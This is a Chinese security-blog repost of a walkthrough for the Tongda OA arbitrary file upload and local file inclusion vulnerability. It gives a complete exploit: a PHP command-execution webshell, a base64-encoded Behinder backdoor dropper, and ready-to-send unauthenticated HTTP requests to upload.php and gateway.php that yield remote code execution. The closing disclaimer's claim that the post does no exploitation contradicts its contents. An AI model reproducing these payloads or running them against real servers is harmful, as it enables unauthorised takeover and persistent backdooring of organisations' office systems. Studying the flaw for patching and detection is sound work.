通达OA文件上传+本地文件包含漏洞

admin 2022年1月6日05:14:29安全文章评论25 views3982字阅读13分16秒阅读模式

     近日通达OA官方在其官方论坛披露了近期一起通达OA用户服务器遭受勒索病毒攻击事件并发布了多个版本的漏洞补丁.漏洞类型为任意文件上传,受影响的版本存在文件包含漏洞. 未授权的远程攻击者可以通过精心构造的请求包进行文件包含并触发远程代码执行



01

影响版本



    TongdaOA V11

    TongdaOA 2017

    TongdaOA 2016

    TongdaOA 2015

    TongdaOA 2013 增强版

    TongdaOA 2013



02

复现环境



    Windows Server 2008r2 + TongdaOA2016


03

环境安装



1.下载安装程序

下载地址:http://www.tongda2000.com/download/2017.php

通达OA文件上传+本地文件包含漏洞


这里我们下载的是2017版本的通达OA服务端

通达OA文件上传+本地文件包含漏洞


2.安装程序

然后双击安装,下一步即可,配置默认就可以了

通达OA文件上传+本地文件包含漏洞


安装完成后进入首页,账号admin密码为空,进入首页配置附件管理

通达OA文件上传+本地文件包含漏洞


点击附件管理,进去添加一个储存目录

通达OA文件上传+本地文件包含漏洞



04

漏洞复现



1. 打开代理和burp抓包,不拦截

    我们选择系统管理员,上传附件

通达OA文件上传+本地文件包含漏洞
通达OA文件上传+本地文件包含漏洞

2. 上传成功后我们打开burp找到文件上传的数据包,修改并构造成新的内容

通达OA文件上传+本地文件包含漏洞
通达OA文件上传+本地文件包含漏洞

3. 将内容修改成以下代码,文件后缀修改为.php.即可成功上传,解读源码upload.php中只对php做了过滤,可以有多种方法绕过,这里不具体举例了


<?php

$command=$_POST['cmd'];

$wsh = new COM('WScript.shell');

$exec = $wsh->exec("cmd /c   ".$command);

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

?>

通达OA文件上传+本地文件包含漏洞

4. 复制@后面的数字,后面有用“2004_2144085200”2004代表文件夹,后面2144085200这段数字代表文件名前半段数字后面再加上.test.php也就是上传时候的文件名

开始命令执行,在浏览器输入ip/im/2004/2144085200.test.php,然后使用hackebar执行命令

通达OA文件上传+本地文件包含漏洞

也可以使用burp来执行命令,在浏览器输入网址,然后使用burp抓包

通达OA文件上传+本地文件包含漏洞

5. 然后把GET值修改成POST值,并注意加上Content-Type,否则命令无法执行,然后在下面加上cmd=net user 就可以查看到系统用户


Content-Type: application/x-www-form-urlencoded

通达OA文件上传+本地文件包含漏洞

也可以getshell,在构造命令执行包里,修改成getshell的代码


<?php

$fp = fopen('readme.php', 'w');

$a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");

fwrite($fp, $a);

fclose($fp);

?>

通达OA文件上传+本地文件包含漏洞

6. 上传文件并通过命令执行漏洞执行文件,会产生一个同目录下文件名为readme.php的后门文件,用的是冰蝎的PHP木马;

通达OA文件上传+本地文件包含漏洞

和上面命令执行一样,在浏览器执行这个文件,就会生成一个readme.php木马密码是pass

通达OA文件上传+本地文件包含漏洞
通达OA文件上传+本地文件包含漏洞

7. 我们使用冰蝎连接

  连接地址:http://192.168.0.119/im/2004/readme.php

通达OA文件上传+本地文件包含漏洞

可以看到成功getshell



无需身份验证,任意文件上传+文件包含

漏洞复现介绍:

在首页后面先输入任意文件上传的地址,然后本地包含文件

 版本路径

有些版本gateway.php路径不同

例如2013:

/ispirit/im/upload.php

/ispirit/interface/gateway.php

例如2017:

/ispirit/im/upload.php

/mac/gateway.php

1. 使用浏览器打开任意文件上传,会提示未登录,我     们使用burp抓包,构造payload

通达OA文件上传+本地文件包含漏洞

2. 使用burp抓取这个页面的包,然后发送到重放,构造payload

通达OA文件上传+本地文件包含漏洞

3. 把数据包里面的东西全部改成以下数据,注意好host也就是ip改成自己的ip地址


POST /ispirit/im/upload.php HTTP/1.1

Host: 192.168.0.119 //注意改成自己的,复制上去的时候记得删除这段字

Content-Length: 658

Cache-Control: no-cache

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)   AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

Content-Type: multipart/form-data;   boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB

Accept: */*

Accept-Encoding: gzip, deflate

Accept-Language:   zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5

Cookie: PHPSESSID=123

Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="UPLOAD_MODE"

2

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="P"

123

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="DEST_UID"

1

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="ATTACHMENT";   filename="jpg"

Content-Type: image/jpeg

<?php

$command=$_POST['cmd'];

$wsh = new COM('WScript.shell');

$exec = $wsh->exec("cmd /c ".$command);

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

?>

------WebKitFormBoundarypyfBh1YB4pV8McGB--

通达OA文件上传+本地文件包含漏洞

4. 我们在输入文件包含的路径,/mac/gateway.php,抓包构造本地包含我们刚刚上传的jpg文件

通达OA文件上传+本地文件包含漏洞
通达OA文件上传+本地文件包含漏洞

发送到重放后,把GET值修改成POST 值,并加上Content-Type值,否则命令无法执行,并加上payload执行命令

5. 添加上:Content-Type: application/x-www-form-urlencoded

Payload:

json={"url":"/general/../../webroot/im/2004/938379153.jpg"}&cmd=net user   注意:后面数字修改成你返回的数字。因上传文件时就是jpg所以不需要加额外的名字

通达OA文件上传+本地文件包含漏洞

免责声明


    本项目仅进行信息搜集,漏洞探测工作,无漏洞利用、攻击性行为,发文初衷为仅为方便安全人员对授权项目完成测试工作和学习交流使用。   
    请使用者遵守当地相关法律,勿用于非授权测试,勿用于非授权测试,勿用于非授权测试~~(重要的事情说三遍)~~,如作他用所承受的法律责任一概与作者无关!!!


本文始发于微信公众号(凌晨安全):通达OA文件上传+本地文件包含漏洞

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日05:14:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  通达OA文件上传+本地文件包含漏洞 http://cn-sec.com/archives/497578.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: